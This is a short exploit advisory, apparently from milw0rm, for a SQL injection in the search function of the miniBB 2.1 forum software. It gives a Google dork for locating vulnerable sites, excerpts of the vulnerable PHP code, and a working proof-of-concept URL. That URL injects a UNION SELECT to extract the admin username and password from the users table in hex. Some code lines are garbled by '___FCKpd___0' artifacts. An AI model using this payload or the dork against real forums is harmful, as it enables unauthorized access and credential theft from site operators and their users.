minibb 2.1 （表）远程sql注入利用

vuln.: miniBB 2.1 (table) Remote SQL Injection Exploit
  download: http://www.minibb.net/download.php?file=minibb21
  dork: "These forums are running on" "miniBB"

  author: [e-mail]
  greets to: str0ke, polish under :*
'-----------------------------------------------------------------------------'

 # code:

  /bb_func_search.php:
       ...
   41    if(isset(
___FCKpd___0
 
GET['where'])) $where=
___FCKpd___0
 
GET['where']+0; else $where=0;
       ...

       ...
  188    if($where==0) { $date_field='post_time'; $poster_field='poster_name'; $table=$Tp; }
  189    elseif($where==1) { $date_field='topic_time'; $poster_field='topic_poster_name'; $table=$Tt; }
       ...

       ...
  215    if($row=db_searchSelect(0,$table,'count(*)',$sqlStr)) $numRows=$row[0]; else $numRows=0;
  216       if($numRows==0){
  217        $searchResults='<span class="txtSm">'.$l_searchFailed.'</span>';
  218       }
  219       else{
  220        $warning=$l_recordsFound.' '.$numRows;
       ...

 SQL query: "select count(*) from $table where $sqlStr" <- sql-inj in $table
 so if register_globals = On, we can get usernames and passwords from database
 in hex, and unhex it (http://www.paulschou.com/tools/xlate/) ;]
 
  
 # p0c:
 
     http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=[SQL]
     http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username,0x20,user_password))/**/FROM/**/minibbtable_users/**/WHERE/**/user_id=1/*

# milw0rm.com [2007-10-30]